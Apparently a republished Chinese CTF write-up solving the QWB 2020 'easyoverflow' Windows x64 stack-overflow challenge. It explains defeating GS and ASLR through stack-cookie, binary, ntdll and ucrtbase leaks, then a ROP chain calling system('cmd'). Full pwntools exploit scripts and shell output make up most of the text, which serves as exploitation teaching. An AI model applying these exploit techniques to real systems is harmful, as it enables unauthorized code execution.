win pwn初探(三)
2022-12-2 15:53:0 Author: xz.aliyun.com(查看原文) 阅读量:15 收藏

上两节都是保护机制几乎都没开的情况下,这一节就开始学习绕过ASLR和GS

这里以强网杯2020的easyoverflow来练习学习

查看保护

没有开SafeSEH和CFG,其他重要的保护都开了

程序分析

int __cdecl main(int argc, const char **argv, const char **envp)
{
  FILE *v3; // rax
  FILE *v4; // rax
  FILE *v5; // rax
  int v6; // ebx
  char DstBuf[256]; // [rsp+20h] [rbp-118h] BYREF

  v3 = _acrt_iob_func(0);
  setbuf(v3, 0i64);
  v4 = _acrt_iob_func(1u);
  setbuf(v4, 0i64);
  v5 = _acrt_iob_func(2u);
  setbuf(v5, 0i64);
  v6 = 3;
  do
  {
    --v6;
    memset(DstBuf, 0, sizeof(DstBuf));
    puts("input:");
    read(0, DstBuf, 0x400u);
    puts("buffer:");
    puts(DstBuf);
  }
  while ( v6 > 0 );
  return 0;
}

这个程序很简单,read这里的DstBuf,可以输入0x400大小的数据,而DestBuf是256的空间,所以存在一个栈溢出漏洞

漏洞利用

泄露StackCookie

在CTF的PWN中,因为有canary的存在,所以先泄露出canary,再泄露出程序基地址,最后利用ret2libc3即可攻击成功

在win中的利用也很相似,首先需要泄露出StackCookie这个东西,看一下汇编,这个东西是怎么放入程序的一些地址中的

push    rbx
sub     rsp, 130h
mov     rax, cs:__security_cookie
xor     rax, rsp
mov     [rsp+138h+var_18], rax

在程序开头会将__security_cookie放入rax,然后与rsp进行异或,之后把异或的结果(StackCookie)存放在rsp + 138h + var_18中,再看一下程序的最后

xor     eax, eax
mov     rcx, [rsp+138h+var_18]
xor     rcx, rsp        ; StackCookie
call    __security_check_cookie
add     rsp, 130h
pop     rbx
retn

程序结束前会把rsp + 138h + var_18里面的值给到rcx,也就是把上面StackCookie与rsp异或之后的值给rcx,然后再经过一次异或(这样的话StackCookie的值就会回到__security_cookie),最后与__security_cookie进行比较,如果相等则继续,不相等则crash掉

先构造以下poc测试一下

from pwn import *

context.log_level = 'debug'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

r = remote('10.211.55.3', 1234)

pause()

p1 = b'a' * 8
r.sendlineafter('input:', p1)

r.interactive()

然后在puts("buffer:");这里下个断点,之后看一下rsp的布局

0:000> dq rsp
000000ee`9973f840  00000000`00000000 00000000`00000000
000000ee`9973f850  00000000`00000000 00000000`00000002
000000ee`9973f860  61616161`61616161 00000000`0000000a
000000ee`9973f870  00000000`00000000 00000000`00000000
000000ee`9973f880  00000000`00000000 00000000`00000000
000000ee`9973f890  00000000`00000000 00000000`00000000
000000ee`9973f8a0  00000000`00000000 00000000`00000000

可以看到8个a已经被写入,上面的StackCookie会存到rsp + 0x138 - 0x18中,所以看一下

0:000> dq rsp + 0x138 - 0x18
000000ee`9973f960  00005fb0`2d14eecc 00000000`00000000
000000ee`9973f970  000002e8`94297480 00007ff6`71ad12f4
000000ee`9973f980  000000ee`9973f9e0 00007ff6`71ad136d

此时程序的StackCookie是00005fb0 2d14eecc这个值也就是0x5fb02d14eecc,看一下输入的buf距离这个地址多少,ee9973f960 - ee9973f860 = 0x100,所以编写poc泄露出StackCookie

from pwn import *

context.log_level = 'debug'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

r = remote('10.211.55.3', 1234)

pause()

p1 = b'a' * 0x100
r.sendlineafter('input:', p1)
r.recvuntil('a' * 0x100)
r.recvuntil('\n')

StackCookie = u64(r.recv(6).ljust(8, b'\x00'))
li('StackCookie = ' + hex(StackCookie))

r.interactive()

调试一下看一下泄露的是否正确

0:000> dq rsp + 0x130 - 0x18
00000057`f0bcfc88  61616161`61616161 00002447`1d701f43
00000057`f0bcfc98  00000000`00000000 00000185`4bf47480
00000057`f0bcfca8  00007ff6`637112f4 00000057`f0bcfd10
00000057`f0bcfcb8  00007ff6`6371136d 00000000`00000000
00000057`f0bcfcc8  00000000`00000000 00000000`00000000

可以看到StackCookie的值是0x24471d701f43

[DEBUG] Received 0x119 bytes:
    00000000  62 75 66 66  65 72 3a 0d  0a 61 61 61  61 61 61 61  buffer:·│·aaaaaaa
    00000010  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  aaaaaaaaaaaaaaaa
    *
    00000100  61 61 61 61  61 61 61 61  61 43 1f 70  1d 47 24 0d  aaaaaaaaaC·p│·G$·│
    00000110  0a 69 6e 70  75 74 3a 0d  0a                        │·input:·│·│
    00000119
StackCookie = 0x24471d701f43

poc里面StackCookie和上面调试的一样

泄露binary base

因为这个程序三次循环,只要最后的StackCookie正确就不会crash,所以第二次可以泄露出程序的基地址,也就是覆盖rbp,后面就会连带返回值一起泄露出来,poc如下

from pwn import *

context.log_level = 'debug'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

r = remote('10.211.55.3', 1234)

pause()

p1 = b'a' * 0x100
r.sendafter('input:', p1)
r.recvuntil('a' * 0x100)

StackCookie = u64(r.recv(6).ljust(8, b'\x00'))
li('StackCookie = ' + hex(StackCookie))

p2 = b'a' * 0x118
r.sendafter('input:' ,p2)
r.recvuntil('a' * 0x118)

leak_addr = u64(r.recv(6).ljust(8, b'\x00'))
li('leak_addr = ' + hex(leak_addr))

r.interactive()

运行即可成功泄露出返回地址,此时就可以算出binary base

from pwn import *

context.log_level = 'debug'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

r = remote('10.211.55.3', 1234)

pause()

p1 = b'a' * 0x100
r.sendafter('input:', p1)
r.recvuntil('a' * 0x100)

StackCookie = u64(r.recv(6).ljust(8, b'\x00'))
li('StackCookie = ' + hex(StackCookie))

p2 = b'a' * 0x118
r.sendafter('input:' ,p2)
r.recvuntil('a' * 0x118)

leak_addr = u64(r.recv(6).ljust(8, b'\x00'))
li('leak_addr = ' + hex(leak_addr))

binary_base = leak_addr - 0x12F4
li('binary_base = ' + hex(binary_base))

r.interactive()

debug细节如下

[DEBUG] Received 0x131 bytes:
    00000000  62 75 66 66  65 72 3a 0d  0a 61 61 61  61 61 61 61  buffer:·│·aaaaaaa
    00000010  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  aaaaaaaaaaaaaaaa
    *
    00000120  61 f4 12 4c  0c f6 7f 0d  0a 69 6e 70  75 74 3a 0d  a··L│····│·input:·│
    00000130  0a                                                  │·│
    00000131
leak_addr = 0x7ff60c4c12f4
binary_base = 0x7ff60c4c0000

算出binary_base = 0x7ff60c4c0000,验证一下是否正确,直接看windbg前面的信息

Executable search path is: 
ModLoad: 00007ff6`0c4c0000 00007ff6`0c4c7000   Z:\easyoverflow\StackOverflow.exe
ModLoad: 00007ff8`f3790000 00007ff8`f3b86000   C:\Windows\SYSTEM32\ntdll.dll
ModLoad: 00007ff8`f1eb0000 00007ff8`f1fa4000   C:\Windows\System32\xtajit64.dll
ModLoad: 00007ff8`f1020000 00007ff8`f117c000   C:\Windows\System32\KERNEL32.DLL
ModLoad: 00007ff8`ef810000 00007ff8`efdf9000   C:\Windows\System32\KERNELBASE.dll
ModLoad: 00007ff8`eedd0000 00007ff8`eeea8000   C:\Windows\SYSTEM32\apphelp.dll
ModLoad: 00007ff8`ef270000 00007ff8`ef464000   C:\Windows\System32\ucrtbase.dll
ModLoad: 00007ff8`e6e80000 00007ff8`e6eb5000   C:\Windows\SYSTEM32\VCRUNTIME140.dll

第二行就是binary的地址区间,基地址一样,证明poc正确

接下来需要打返回地址到main函数使得可以继续利用,值得注意的是因为到main函数之后栈会变,所以需要再次泄露出StackCookie,poc如下

from pwn import *

context.log_level = 'debug'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

#r = remote('10.211.55.3', 1234)
r = remote('192.168.10.102', 1234)

#pause()

p1 = b'a' * 0x100
r.sendafter('input:', p1)
r.recvuntil('a' * 0x100)

StackCookie = u64(r.recv(6).ljust(8, b'\x00'))
li('StackCookie = ' + hex(StackCookie))

p2 = b'a' * 0x118
r.sendafter('input:' ,p2)
r.recvuntil('a' * 0x118)

leak_addr = u64(r.recv(6).ljust(8, b'\x00'))
li('leak_addr = ' + hex(leak_addr))

binary_base = leak_addr - 0x12F4
li('binary_base = ' + hex(binary_base))

main_addr = 0x1000 + binary_base

p3 = b'a' * 0x100
p3 += p64(StackCookie)
p3 += b'a' * 0x10
p3 += p64(main_addr)
r.sendafter('input:', p3)

r.sendafter('input:', p1)
r.recvuntil('a' * 0x100)

StackCookie = u64(r.recv(6).ljust(8, b'\x00'))
li('StackCookie = ' + hex(StackCookie))

ret2dll

接下来就可以利用ret2dll的方法来getshell,第一步泄露出dll_base,上一节已经学过了利用iat表来泄露出dll_base,但是这个程序是64位的,参数通过寄存器传递,顺序是 rcx rdx r8 r9

所以笔者用Ropgadget找了一下发现gadgets很少几乎用不了

  easyoverflow ROPgadget --binary StackOverflow.exe --only 'pop|ret'
Gadgets information
============================================================
0x00000001400017ee : pop rbp ; ret
0x00000001400010c9 : pop rbx ; ret
0x00000001400014ed : pop rdi ; pop rsi ; pop rbx ; ret
0x000000014000133d : pop rdi ; ret
0x00000001400014ee : pop rsi ; pop rbx ; ret
0x00000001400010ca : ret
0x0000000140001818 : ret 0
0x0000000140001723 : ret 0x8348
0x0000000140001643 : ret 0xb70f
0x0000000140001678 : ret 0xeb28
0x0000000140001d12 : ret 3

在CTF PWN中,可以通过泄露出libc然后用libc的gadgets,但是win下就不一样,因为没有可用的gadgets,所以需要借助ntdll.dll这个dll来寻找可用的gadgets,为什么是ntdll.dll呢,因为在main函数调用之前会调用ntdll.dll,所以可以泄露出这上面的地址,寻找一下

ModLoad: 00007fff`2da80000 00007fff`2dc89000   C:\WINDOWS\SYSTEM32\ntdll.dll
0:000> dq rsp + 0x170
00000010`d33ffb88  61616161`61616161 61616161`61616161
00000010`d33ffb98  61616161`61616161 61616161`61616161
00000010`d33ffba8  61616161`61616161 61616161`61616161
00000010`d33ffbb8  00007fff`2da8485b 00000000`00000000

10d33ffba8这里存放的地址就是ntdll.dll上的地址,算一下偏移在0x180,并且泄露的地址与base偏移为0x485b所以构造如下exp

from pwn import *

context.log_level = 'debug'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

#r = remote('10.211.55.3', 1234)
r = remote('192.168.10.102', 1234)

pause()

p1 = b'a' * 0x100
r.sendafter('input:', p1)
r.recvuntil('a' * 0x100)

StackCookie = u64(r.recv(6).ljust(8, b'\x00'))
li('StackCookie = ' + hex(StackCookie))

p2 = b'a' * 0x118
r.sendafter('input:' ,p2)
r.recvuntil('a' * 0x118)

leak_addr = u64(r.recv(6).ljust(8, b'\x00'))
li('leak_addr = ' + hex(leak_addr))

binary_base = leak_addr - 0x12F4
li('binary_base = ' + hex(binary_base))

main_addr = 0x1000 + binary_base

p3 = b'a' * 0x100
p3 += p64(StackCookie)
p3 += b'a' * 0x10
p3 += p64(main_addr)
r.sendafter('input:', p3)

r.sendafter('input:', p1)
r.recvuntil('a' * 0x100)

StackCookie = u64(r.recv(6).ljust(8, b'\x00'))
li('StackCookie = ' + hex(StackCookie))

p4 = b'a' * 0x180
r.sendafter('input:', p4)
r.recvuntil('a' * 0x180)

ntdll_addr = u64(r.recv(6).ljust(8, b'\x00'))
li('ntdll_addr = ' + hex(ntdll_addr))

ntdll_base = ntdll_addr - 0x485b
li('ntdll_base = ' + hex(ntdll_base))

r.interactive()

输出的地址正确,因为有aslr的存在,所以地址肯定是随机的,这就造成了上面有时候地址不一样,需要注意的是这里笔者换成了实机,因为arm windows11支持了x64的程序

相应的x64程序的公用DLL和ARM64程序使用的公用DLL一样都会存放在System32目录下。实际上,原来的ARM64系统DLL都已经进化成ARM64x ABI的混合DLL,这些DLL中的机器码主要仍是ARM64 native的,ARM64程序仍然能以最高效率调用里面导出的函数。同时增加了对x64程序基于JIT指令转译模拟执行时调用相关导出函数的支持,主要是将x64调用约定转换为对相应的ARM64函数的调用,执行结果处理则反之。这样可以提高执行效率,因为如果直接使用自Win10 x64版本的System32目录复制过来的x64 DLL的话,DLL中的机器码也需要指令转译,从而影响了执行效率。可能有点像Win10 on ARM下执行x86程序时调用系统常用的DLL使用SyChpe32中的CHPE DLL以提高执行效率的策略。

[DEBUG] Received 0x193 bytes:
    00000000  3a 0d 0a 61  61 61 61 61  61 61 61 61  61 61 61 61  :··aaaaaaaaaaaaa
    00000010  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  aaaaaaaaaaaaaaaa
    *
    00000180  61 61 61 5b  48 a8 2d ff  7f 0d 0a 69  6e 70 75 74  aaa[H·-·│···input
    00000190  3a 0d 0a                                            :··│
    00000193
ntdll_addr = 0x7fff2da8485b
ntdll_base = 0x7fff2da80000

拿到ntdll的地址之后寻找需要用的gadgets,也就是能控制rcx的还有rbx,为什么还有个rbx,看下面的汇编

dec     ebx
call    memset
lea     rcx, Buffer     ; "input:"
call    cs:puts
mov     r8d, 400h       ; MaxCharCount
lea     rdx, [rsp+138h+DstBuf] ; DstBuf
xor     ecx, ecx        ; FileHandle
call    cs:_read
lea     rcx, aBuffer    ; "buffer:"
call    cs:puts
lea     rcx, [rsp+138h+DstBuf] ; Buffer
call    cs:puts
test    ebx, ebx
jg      short loc_7FF60C4C1060

通过rbx来控制循环次数,所以控制了rbx为1之后就可以继续执行rop,找到gadgets之后就需要构造rop了,在构造rop的时候会发现失败,排查下来可以发现是rsp的原因

0:000> r
rax=0000000000000140 rbx=0000000000000000 rcx=00000000ffffffff
rdx=00000245250cc230 rsi=0000000000000000 rdi=00000245250d0020
rip=00007ff678e11094 rsp=000000f986aff928 rbp=0000000000000000
 r8=0000000000000140  r9=00007fff2b7909a0 r10=0000000000000000
r11=000000000000019c r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei pl nz na pe nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
StackOverflow+0x1094:
00007ff6`78e11094 488d0dbd110000  lea     rcx,[StackOverflow+0x2258 (00007ff6`78e12258)]
0:000> g
Breakpoint 0 hit
StackOverflow+0x1094:
00007ff6`78e11094 488d0dbd110000  lea     rcx,[StackOverflow+0x2258 (00007ff6`78e12258)]
0:000> r
rax=0000000000000140 rbx=0000000000000000 rcx=00000000ffffffff
rdx=00000245250cc230 rsi=0000000000000000 rdi=00000245250d0020
rip=00007ff678e11094 rsp=000000f986affa88 rbp=0000000000000000
 r8=0000000000000140  r9=00007fff2b7909a0 r10=0000000000000000
r11=000000000000019c r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000

因为rsp的值改变了,所以最后check cookie会不通过,所以需要重新计算StackCookie,也就是泄露出security_cookie,再计算出新的rsp(000000f986affa88 - 000000f986aff928 = 0x160),所以exp如下

from pwn import *

context.log_level = 'debug'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

#r = remote('10.211.55.3', 1234)
r = remote('192.168.10.102', 1234)

#pause()

p1 = b'a' * 0x100
r.sendafter('input:', p1)
r.recvuntil('a' * 0x100)

StackCookie = u64(r.recv(6).ljust(8, b'\x00'))
li('StackCookie = ' + hex(StackCookie))

p2 = b'a' * 0x118
r.sendafter('input:' ,p2)
r.recvuntil('a' * 0x118)

leak_addr = u64(r.recv(6).ljust(8, b'\x00'))
li('leak_addr = ' + hex(leak_addr))

binary_base = leak_addr - 0x12F4
li('binary_base = ' + hex(binary_base))

main_addr = 0x1000 + binary_base

p3 = b'a' * 0x100
p3 += p64(StackCookie)
p3 += b'a' * 0x10
p3 += p64(main_addr)
r.sendafter('input:', p3)

r.sendafter('input:', p1)
r.recvuntil('a' * 0x100)

StackCookie = u64(r.recv(6).ljust(8, b'\x00'))
li('StackCookie = ' + hex(StackCookie))

p4 = b'a' * 0x180
r.sendafter('input:', p4)
r.recvuntil('a' * 0x180)

ntdll_addr = u64(r.recv(6).ljust(8, b'\x00'))
li('ntdll_addr = ' + hex(ntdll_addr))

ntdll_base = ntdll_addr - 0x485b
li('ntdll_base = ' + hex(ntdll_base))

pop_rcx_ret = 0x0000000000096065 + ntdll_base
pop_rbx_ret = 0x00000000000012a7 + ntdll_base
pop_rdx_ret = 0x00000000000f12ab + ntdll_base
puts_plt = 0x10A6 + binary_base
security_cookie_addr = 0x3008 + binary_base

p5 = b'a' * 0x100
p5 += p64(StackCookie)
p5 += b'a' * 0x10
p5 += p64(pop_rcx_ret)
p5 += p64(security_cookie_addr)
p5 += p64(pop_rbx_ret)
p5 += p64(1)
p5 += p64(puts_plt)

r.sendafter('input:', p5)

r.recvuntil('a' * 0x100)
r.recvline()
security_cookie = u64(r.recvn(6).ljust(8, b'\x00'))
li('security_cookie = ' + hex(security_cookie))

old_rsp = security_cookie ^ StackCookie
li('old_rsp = ' + hex(old_rsp))
new_rsp = old_rsp + 0x160
li('new_rsp = ' + hex(new_rsp))

现在有了新的rsp,通过security_cookie异或出新的StackCookie即可正常rop,此时输出ucrtbase,然后算出system和cmd,值得注意的是再次rop,rsp还是会变的,算好偏移即可,最终exp如下

from pwn import *

context.log_level = 'debug'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

#r = remote('10.211.55.3', 1234)
r = remote('192.168.10.102', 1234)

#pause()

p1 = b'a' * 0x100
r.sendafter('input:', p1)
r.recvuntil('a' * 0x100)

StackCookie = u64(r.recv(6).ljust(8, b'\x00'))
li('StackCookie = ' + hex(StackCookie))

p2 = b'a' * 0x118
r.sendafter('input:' ,p2)
r.recvuntil('a' * 0x118)

leak_addr = u64(r.recv(6).ljust(8, b'\x00'))
li('leak_addr = ' + hex(leak_addr))

binary_base = leak_addr - 0x12F4
li('binary_base = ' + hex(binary_base))

main_addr = 0x1000 + binary_base

p3 = b'a' * 0x100
p3 += p64(StackCookie)
p3 += b'a' * 0x10
p3 += p64(main_addr)
r.sendafter('input:', p3)

r.sendafter('input:', p1)
r.recvuntil('a' * 0x100)

StackCookie = u64(r.recv(6).ljust(8, b'\x00'))
li('StackCookie = ' + hex(StackCookie))

p4 = b'a' * 0x180
r.sendafter('input:', p4)
r.recvuntil('a' * 0x180)

ntdll_addr = u64(r.recv(6).ljust(8, b'\x00'))
li('ntdll_addr = ' + hex(ntdll_addr))

ntdll_base = ntdll_addr - 0x485b
li('ntdll_base = ' + hex(ntdll_base))

pop_rcx_ret = 0x0000000000096065 + ntdll_base
pop_rbx_ret = 0x00000000000012a7 + ntdll_base
pop_rdx_ret = 0x00000000000f12ab + ntdll_base
puts_plt = 0x10A6 + binary_base
security_cookie_addr = 0x3008 + binary_base

p5 = b'a' * 0x100
p5 += p64(StackCookie)
p5 += b'a' * 0x10
p5 += p64(pop_rcx_ret)
p5 += p64(security_cookie_addr)
p5 += p64(pop_rbx_ret)
p5 += p64(1)
p5 += p64(puts_plt)

r.sendafter('input:', p5)

r.recvuntil('a' * 0x100)
r.recvline()
security_cookie = u64(r.recvn(6).ljust(8, b'\x00'))
li('security_cookie = ' + hex(security_cookie))

old_rsp = security_cookie ^ StackCookie
li('old_rsp = ' + hex(old_rsp))
new_rsp = old_rsp + 0x160
li('new_rsp = ' + hex(new_rsp))

read_got = 0x2178 + binary_base

p6 = b'a' * 0x100
p6 += p64(new_rsp ^ security_cookie)
p6 += b'a' * 0x10
p6 += p64(pop_rcx_ret) + p64(read_got)
p6 += p64(pop_rbx_ret) + p64(1)
p6 += p64(puts_plt)
r.sendafter('input:', p6)

r.recvuntil('a' * 0x100)
r.recvline()
ucrt_base = u64(r.recvn(6).ljust(8, b'\x00')) - 0x7650
li('ucrt_base = ' + hex(ucrt_base))

system_addr = 0xBCB20 + ucrt_base
cmd = 0xE0020 + ucrt_base

p7 = b'a' * 0x100
p7 += p64((new_rsp + 0x160) ^ security_cookie)
p7 += b'a' * 0x10
p7 += p64(pop_rcx_ret) + p64(cmd)
p7 += p64(system_addr)

r.sendafter('input:', p7)

r.interactive()

看一下打通的

[*] Switching to interactive mode

[DEBUG] Received 0x6 bytes:
    b'buffer'
buffer[DEBUG] Received 0x17d bytes:
    00000000  3a 0d 0a 61  61 61 61 61  61 61 61 61  61 61 61 61  :··aaaaaaaaaaaaa
    00000010  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  aaaaaaaaaaaaaaaa
    *
    00000100  61 61 61 8a  d2 4f 29 c5  43 0d 0a 4d  69 63 72 6f  aaa·│·O)·│C··Micro
    00000110  73 6f 66 74  20 57 69 6e  64 6f 77 73  20 5b b0 e6  soft Windows [··│
    00000120  b1 be 20 31  30 2e 30 2e  32 32 30 30  30 2e 39 37  │·· 10.0.22000.97
    00000130  38 5d 0d 0a  28 63 29 20  4d 69 63 72  6f 73 6f 66  8]··│(c) Microsof
    00000140  74 20 43 6f  72 70 6f 72  61 74 69 6f  6e a1 a3 b1  t Corporation···│
    00000150  a3 c1 f4 cb  f9 d3 d0 c8  a8 c0 fb a1  a3 0d 0a 0d  │····│····│····│····│
    00000160  0a 43 3a 5c  55 73 65 72  73 5c 4c 65  6e 6f 76 6f  │·C:\│Users\Lenovo
    00000170  5c 44 65 73  6b 74 6f 70  5c 70 77 6e  3e           │\Desktop│\pwn>
    0000017d
:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa��O)C
Microsoft Windows [�汾 10.0.22000.978]
(c) Microsoft Corporation����������Ȩ����

C:\Users\Lenovo\Desktop\pwn>

一次不通可以多打几次

总结

也是学到了如何绕过GS,因为pwntools的模块没有像libc.sym的这样的东西,所以在写exp的时候没有自动化的一个获取,后面笔者有时间的话会寻找一下有没有对应的解决方案

Reference

https://www.zhihu.com/question/434317266/answer/1623308852

https://ret2ver.github.io/2021/10/02/2020%E5%BC%BA%E7%BD%91%E6%9D%AF-easyoverflow/

https://github.com/z1r00/ctf-pwn/blob/main/winpwn/QWB2020/easyoverflow.zip


文章来源: https://xz.aliyun.com/t/11913
如有侵权请联系:admin#unsafe.sh